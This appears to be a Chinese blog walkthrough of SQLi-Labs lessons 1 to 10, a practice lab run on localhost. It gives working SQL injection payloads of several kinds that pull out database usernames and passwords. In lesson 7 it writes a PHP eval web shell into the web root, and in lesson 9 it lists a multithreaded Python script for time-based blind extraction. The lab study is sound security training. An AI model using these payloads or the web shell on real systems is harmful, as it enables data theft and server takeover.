[靶场] SQLi-Labs Less1-Less10

最新推荐文章于 2024-03-03 15:02:56 发布
最新推荐文章于 2024-03-03 15:02:56 发布
阅读量161 收藏
点赞数
分类专栏： # 靶场 文章标签： Sqli
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40929683/article/details/120427171
版权

提供主要的语句，略去探测数据库名，表名，字段名的步骤。 

1.Less1

请求方式注入方式类型备注
Get基于报错注入(updatexml函数)字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-1/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-1/?id=1'

3. 执行注入的SQL

http://127.0.0.1:8003/Less-1/?id=1' --+

http://127.0.0.1:8003/Less-1/?id=1'  and 0--+

报错：

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e, version()) , 1  )--+

版本，当前用户名，当前数据库名：

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e, version(), 0x7e, user(), 0x7e, database() ) , 1  )--+

4. 数据获取

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e,  (select  group_concat(table_name) from information_schema.tables where table_schema=database()  ) ) , 1  )--+
http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e,  (select  group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name = 'users' ) ) , 1  )--+

由于报错的字符长度受限，使用子查询的limit进行依次输出。可以使用BurpSuite进行爆破。

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e,  (select  group_concat(':', username, password) from (select * from users limit 0,1 )x ) ) , 1  )--+

2.Less2

 请求方式注入方式类型备注
Get基于报错注入(extractvalue函数)整形/

1. 正常提交

http://127.0.0.1:8003/Less-2/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-2/?id=1'
http://127.0.0.1:8003/Less-2/?id=1"

3. 执行注入的SQL

http://127.0.0.1:8003/Less-2/?id=1 --+
http://127.0.0.1:8003/Less-2/?id=1 and 0 --+

4. 数据获取

http://127.0.0.1:8003/Less-2/?id=1 and extractvalue(1, concat(0x7e, version(), 0x7e, user(), 0x7e, database() )) --+

 后续步骤Less1。

3.Less3

 请求方式注入方式类型备注
Get基于报错注入（双注入）字符型单引号、括号闭合

1. 正常提交

http://127.0.0.1:8003/Less-3/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-3/?id=1'

3. 执行注入的SQL

http://127.0.0.1:8003/Less-3/?id=1') --+
http://127.0.0.1:8003/Less-3/?id=1') and 0 --+

http://127.0.0.1:8003/Less-3/?id=1')  order by 3 --+
http://127.0.0.1:8003/Less-3/?id=1')  union select 1,2,3 --+

4. 数据获取

http://127.0.0.1:8003/Less-3/?id=1')  union select 1,2,count(*)  from information_schema.tables group by ( concat( floor(rand(0)*2),  version()  )   )    --+

双注入：

http://127.0.0.1:8003/Less-3/?id=1')  union select 1,2,count(*)  from information_schema.tables group by ( concat( floor(rand(0)*2), (select  concat(username,':',password)  from (select * from users  limit 1,1 )x )   )   )    --+

4.Less4

 请求方式注入方式类型备注
Get基于报错注入(union内联注入)字符型双引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-4/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-4/?id=1'
http://127.0.0.1:8003/Less-4/?id=1"

3. 执行注入的SQL

http://127.0.0.1:8003/Less-4/?id=1") --+
http://127.0.0.1:8003/Less-4/?id=1")  and 0  --+

http://127.0.0.1:8003/Less-4/?id=1")  order by 3  --+
http://127.0.0.1:8003/Less-4/?id=1")  and 0 union select 1,2,3  --+

4. 数据获取

数据库信息：版本，数据存储目录，数据库工作目录，当前用户名，当前数据库名

http://127.0.0.1:8003/Less-4/?id=1")  and 0 union select 1,concat(0x7e,@@version,0x7e,@@datadir,0x7e,@@basedir),concat(0x7e,user(),0x7e,database())  --+
http://127.0.0.1:8003/Less-4/?id=1")  and 0 union select 1,2,group_concat(0x7e,username, password) from users --+

5.Less5

 请求方式注入方式类型备注
Get双注入字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-5/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-5/?id=1'
http://127.0.0.1:8003/Less-5/?id=1' --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-5/?id=1' and 0 --+
http://127.0.0.1:8003/Less-5/?id=1' or 1 --+

http://127.0.0.1:8003/Less-5/?id=1' order by 3 --+
http://127.0.0.1:8003/Less-5/?id=1' union select 1,2,3 --+

4. 数据获取

获取数据库版本

http://127.0.0.1:8003/Less-5/?id=1' and 0 union select 1,2,count(*) from information_schema.tables group by concat( (select @@version) ,0x7e,  floor(rand(0)*2) ) --+

数据获取

http://127.0.0.1:8003/Less-5/?id=1' and 0 union select 1,2,count(*) from information_schema.tables group by concat( (select concat(username, 0x7e ,password) from (select * from users limit 0,1)x ) ,0x7e,  floor(rand(0)*2) ) --+

6.Less6

 请求方式注入方式类型备注
Get基于报错注入字符型双引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-6/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-6/?id=1"
http://127.0.0.1:8003/Less-6/?id=1" --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-6/?id=1" and 0 --+
http://127.0.0.1:8003/Less-6/?id=1" order by 3 --+

4. 数据获取

同Less6的方法，主要是将单引号闭合换为双引号闭合。

http://127.0.0.1:8003/Less-6/?id=1" and 0 union select 1,2,count(*) from information_schema.tables group by concat( (select concat(username, 0x7e ,password) from (select * from users limit 0,1)x ) ,0x7e,  floor(rand(0)*2) ) --+

7.Less7

 请求方式注入方式类型备注
Get文件读写字符型单引号、括号闭合

1. 正常提交

http://127.0.0.1:8003/Less-7/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-7/?id=1'
http://127.0.0.1:8003/Less-7/?id=1'  --+
http://127.0.0.1:8003/Less-7/?id=1'))  --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-7/?id=1'))  order by 3 --+
http://127.0.0.1:8003/Less-7/?id=1'))  order by 4 --+
http://127.0.0.1:8003/Less-7/?id=1'))  union select 1,2,3 --+

4. 写入Webshell

写文件测试

http://127.0.0.1:8003/Less-7/?id=1'))  union select 1,2,3 into outfile "E:/phpstudy/WWW/sqlilabs/Less-7/flag.txt"  --+

上传WebShell。

http://127.0.0.1:8003/Less-7/?id=1'))  union select 1,2,"<?php  @eval($_POST['shell']);  ?>" into outfile "E:/phpstudy/WWW/sqlilabs/Less-7/wb.php"  --+

使用蚁剑连接WebShell。 

8.Less8

 请求方式注入方式类型备注
Get布尔盲注字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-8/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-8/?id=1'
http://127.0.0.1:8003/Less-8/?id=1' --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-8/?id=1'  and 0 --+
http://127.0.0.1:8003/Less-8/?id=-1'  or 1  --+

http://127.0.0.1:8003/Less-8/?id=-1'  or  if(1,1,0) --+
http://127.0.0.1:8003/Less-8/?id=-1'  or  if(0,1,0) --+

4. 数据获取

测试布尔盲注能否实现。

http://127.0.0.1:8003/Less-8/?id=-1'  or  if( ( select ascii(substr(  (select @@version) ,1,1)) > 0) ,1,0) --+
http://127.0.0.1:8003/Less-8/?id=-1'  or  if( ( select ascii(substr(  (select @@version) ,1,1)) > 100 ) ,1,0) --+

使用BurpSuite爆破出数据库版本。

 

开始攻击。

分析攻击的结果，即可得到数据库版本。

如下SQL语句结合BurpSuite爆破出数据库数据。

http://127.0.0.1:8003/Less-8/?id=-1'  or  if( ( select ascii(substr(  (select  group_concat(0x7e, username, password) from users   ) ,1,1)) >0 ) ,1,0) --+

编写脚本爆破也可以，省去分析攻击结果的步骤。 

9.Less9

由于服务器问题，下面的sleep(0.2)约等于2s。

 请求方式注入方式类型备注
Get时间盲注字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-9/?id=1

2. 执行注入的SQL

下面的只有id=1'的语句延时了2s，说明语句被执行了，所以是单引号闭合。

http://127.0.0.1:8003/Less-9/?id=1'
http://127.0.0.1:8003/Less-9/?id=1" or sleep(0.2) --+
http://127.0.0.1:8003/Less-9/?id=1") or sleep(0.2) --+
http://127.0.0.1:8003/Less-9/?id=1' or sleep(0.2) --+

http://127.0.0.1:8003/Less-9/?id=-1' or if(1,sleep(0.2),1) --+
http://127.0.0.1:8003/Less-9/?id=-1' or if(0,sleep(0.2),1) --+

3. 数据获取

使用代码进行爆破最为便捷，以爆破数据库版本为例。

http://127.0.0.1:8003/Less-9/?id=-1' or if(  (select ascii(substr((select @@version),1,1))>0)   ,sleep(0.2),1) --+

使用如下代码： 

import requests
import time
import _thread
import threading
# 盲注爆破
charList = []
info = {}

urlTemplate = "http://127.0.0.1:8003/Less-9/?id=-1' or if(  (select ascii(substr((select @@version),{},1))={})   ,sleep(0.2),1) --+"

lock = threading.Lock()
allNumber = 8
runing = 0

def loadDict(file):
    global charList
    with open(file, 'r', encoding='utf-8') as f:
        charList += f.read().split('\n')
        print('Dict Loaded')

def req(name, n):
    global version, allNumber, runing
    for i in range(n, n+1, 1):
        for j in range(0, len(charList)):
            url = urlTemplate.format(str(i), charList[j])
            print('.', end='')
            time_start = time.time()
            requests.get(url=url)
            time_end = time.time()
            timeReal = time_end - time_start
            if timeReal > 4:
                lock.acquire()
                info[i] = chr(int(charList[j]))
                runing -= 1
                lock.release()
                print('{}:Find [{}] [{}/{}]'.format(name, chr(int(charList[j])), str(runing), str(allNumber)))
                break


def conv(info={}):
    res = []
    info = sorted(info.items(), key=lambda x: x[0], reverse=False)
    for i in info:
        res.append(i[1])
    return ''.join(res)


def main():
    global runing
    loadDict('../../字典/ascii_dict/ascii_数字+符号.txt')
    time_start = time.time()
    try:
        for i in range(1, allNumber+1, 1):
            th = threading.Thread(target=req, args=('T-{}'.format(str(i)), i))
            runing +=1
            th.start()
    except:
        print('线程启动异常')
    while threading.activeCount() != 1:
        pass
    time_end = time.time()
    print('\nresult:')
    print(conv(info))
    print('time:'+ str(int((time_end-time_start)/60)) + 'm')


if __name__ == '__main__':
    main()

得到爆破的结果： 

数据库信息的爆破同理，修改SQL语句，加载相应的字典即可。

10.Less10

 请求方式注入方式类型备注
Get时间盲注字符型双引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-10/?id=1

2. 数据获取

原理同Less9，只是字符型的符号变了，变为双引号闭合。

http://127.0.0.1:8003/Less-10/?id=-1"  or if(  (select ascii(substr((select @@version),1,1))>0)   ,sleep(0.2),1) --+

依然使用Less9的脚本爆破即可。

3hex___________
关注
专栏目录
sqli-labs靶场Less-1
songling515010475的专栏
08-19 185
1、访问首页，index.php?id=1，这里的传参点是id 2、判断是否在SQL注入 and 1=1-- qwe and 1=2-- qwe 分析：从以上两种探测形式来看，and 1=1 和 and 1=2并没有影响结果，难道不存在SQL注入？当然不可能，这是靶场SQL注入肯定是存在的. ----------------------------------------------------往下看-----------------------------------------
sqli-labs靶场（Less-1--Less-4）
weixin_46062722的博客
12-25 210
SQL注入流程： Less-1 来到第一关我们发现是要求给id这个参数一个值所以我们直接通过GET的方式提交ID的值即可 http://192.168.0.105:8086/sqlilabs/Less-1/index.php?id=1’ 我们发现提交ID值之后回显了用户名和登录密码，在后面加入单引号使其报错，报错结果为 这里为什么加上一个单引号会报错，基于SQL注入的原理就不在做过多的阐述，而是更多的放在漏洞的发现与利用！！！ 在此我们推理下网页代码中的SQL注入语句： SELECT * FROM us
打靶日志——Sqli靶场（Less1-10）
Aquarius_ego的博客
04-08 3088
sqli-labs靶场的Less1-Less10
【靶场通关】sqli-labs less1-10
qq_21193587的博客
06-03 6964
Less-1 提示 用 ID=数字做为输入参数 http://192.168.80.131/Less-1/?id=1 加个’测试。直接显示了 SQL 语法错误，说明这是一个注入点。 id 虽然输入为数值 这里看源码或尝试 id=1’ and 1=1 --+ 和 ’ and 1=2 --+ 结果不同 sql="SELECT∗FROMusersWHEREid=′sql="SELECT * FROM users WHERE id='sql="SELECT∗FROMusersWHEREid=′id’ LIM
sqli-labs【less-1】
qq_50673174的博客
08-15 227
剩下查询内容的操作就和一般的sql操作相同了，我们直接在本地mysql上实践，证实了我们先前的猜测，网页上所显示的内容是users表中的username和password的数据，而不回显id。靶场为sqli-labs（github上可以下载安装包，然后安装到phpStudy的www目录下，再修改一下里面的数据库信息就好了，我连接的本地数据库，root账户）另外， 在知道网站根目录的情况下，我们还可以通过sql语句上传木马。因为学习的需求，我开始了靶场的练习。通过联合查询的方式，我们基本上获取了所有的信息。.
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1440
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
m0_73615178的博客
02-24 1909
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）
Sqli-labs靶场第12关详解[Sqli-labs-less-12]
m0_73615178的博客
03-02 741
所以，payload分析输入一个username值然后使用单引号加小括号 ") 闭合前面的语句，然后为了使where语句条件成立，加上一个or 1=1 ，-- 注释语句使后面的语句直接注释password不用判断。由于这题是post请求，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。根据题目看，像一个登录页面，尝试使用布尔型盲注测试能否登录网站。输入：-admin") union select 1,2--爆出当前数据库名称及当前用户名。
Sqli-labs靶场第18关详解[Sqli-labs-less-18]自动化注入-SQLmap工具注入
最新发布
m0_73615178的博客
03-03 1255
所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。尝试加上注入语句（报错注入），测试是否会执行并返回报错语句爆出想要的信息。使用单引号' 测试得到了报错即： ' 为闭合方式。在user-agent处加上*代表注入点。
Sqli-labs靶场第16关详解[Sqli-labs-less-16]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 736
-batch当你需要以批处理模式运行 sqlmap，避免任何用户干预 sqlmap 的运行，可以强制使用--batch这个开关。这样，当 sqlmap 需要用户输入信息时，都将会以默认参数运行。由于这题是，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件爆出当前主机名称。
sqli-labs靶场less-1~less-10知识点及步骤
m0_52923241的博客
01-24 506
//现在源代码中找到$sql，在$sql的下一行输入如下两行 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; echo $sql;//把sql语句进行输出 echo "<br>"; //进行换行 less-1 查库：select schema_name from information_schema.schemata 查表：select table_name from information_schema.tables where tab
sqli-labs less-1 靶场练习
qq_59416598的博客
03-03 224
s萌新上路，小伙伴们可以一起交流 首先进入靶场 进行注入点测试 ?id=1 and 1=1 ?id=1 and 1=2 可以看到返回的页面没有报错，那么考虑可能存在字符干扰 验证：?id=2 ?id=3-1 两次返回的界面不一样，说明应该存在字符干扰 试一下闭合 ?id=1' and 1=1 # 发现报错，将#换成%23进行注释，发现能够正常返回界面 注入点判断 ?id=1' and 1=2 %23 列名猜解 ?id=1' order by 3%23..
Sqli-labs-master靶场安装及Less-1闯关步骤
tangtang_888的博客
06-30 1466
Sqli-labs-master靶场安装1、将下载好的sqli-labs-master压缩包解压到phpstudy的网站根目录中（可以适当缩短文件名用来方便访问） 2、修改sql-connections文件夹中的配置文件db-creds.inc，将用户名和密码改为自己PHPstudy中mysql数据库的用户名和密码。 3、在浏览器中输入127.0.0.1/sqli-labs(此处sqli-labs为自己设置的文件夹名称)访问sqli-labs靶场并点击Setup/reset Database for lab
sqli-labs靶场Less-1极其详细练习过程
qq_51782199的博客
03-09 504
代表URL地址的结尾与数据参数的开端，后面的参数每一个数据参数以“名称=值”的形式出现，参数与参数之间利用一个连接符&来区分。id=1.3或者随便等于一个不存在的，id=99999或者id=-1等，这样做的目的是为了不显示前面所查询的内容，显示后面的内容。0x3a： 0x是十六进制标志，3a是十进制的58，是ascii中的 ':' ，用以分割pasword和username。order by 10 对要查询表的第10个字段（第10列）进行排序（升序），用于判断字段数（报错即为没有那么多字段）。
SQLI -LABS靶场练习1-10
qq_45314073的博客
10-11 1940
LESS1: 1.判断是否动态网站 根据输入内容，返回不同的页面，如果是，则为动态网站，例如这里我们输入id=1与id=2返回不同的页面 2.找潜在注入点 搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞 3.猜测后台SQL语句 select * from t_xx where xid=1…… 4.判断是数字型还是字符型 Less-1/?id=2-1 //发现与输入id=2的页面相同，也就是并没有进行运算，初步判断为字符型 注：？是否能用+判断 //不能，在浏览器里加号会.
SQLI-labs靶场Less1-37详细学习记录（7400字总结）
身高两米不到的博客
04-16 3706
最近突发奇想，想把之前做过的靶场进行归纳，给自己一个交代给他人一份借鉴，于是就把sqli-labs靶场作为第二篇总结拿来祭笔。 第一关 前十关去年在知乎写过，再次修整一番。题目提示输入ID进行get传参，但需要注意的是这个靶场貌似是不区分大小写的，使用大写ID进行传参是没有任何回显的，只有输入id才可以传参，这点需要注意。 '报错 如果使用 # 注释不起作用。采用%23或者--+注释都可以#注释，order by爆字段数，4时报错，发现三个字段 union联合查询，判断回显点进行注入，..
Sqli-labs靶场笔记1（Less-1 SQL注入基本操作）
m0_52233414的博客
03-31 444
sqli-labs靶场使用的是mysql数据库，所以在打之前，我们要了解一下mysql数据库的结构，mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。
Sqli-labs靶场详细攻略Less 1-5
qq_41755084的博客
10-09 1583
Sqli-labs靶场详细攻略
最详细SQLi-LABS靶场 less-1教学
小明师傅博客
05-31 810
我们打开靶场第一关 我们来试一下经典的 and 1=1 and 1=2,并没什么反应，可以猜测有引号把他们变成字符串了，我们加个 id?=1'试一下 报错了 翻译一下发现是mysql数据库 我们下一步可以构造一下语句 用 order by 猜测字段 构造语句?id=1' order by 3 # ( # 起到注释的作用) 但我们发现还是报错了 这里是初学者第一个难点，因为#注释符被过滤了，我们可以把他换成url转码格式%23,发现成功没有报错，发现字段也正好是3 (这里注意字段数错了也会报错：如
PHP与Apache环境下部署SQL注入靶场sqli-labs指南
部署sqli-labs是一个实战训练过程，它不仅提供了丰富的SQL注入实例，还能帮助开发者熟悉如何防范此类攻击，是提升网络安全技能的实用工具。通过这个靶场，你将更深入理解Web应用程序安全的重要性，并掌握如何在实际...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值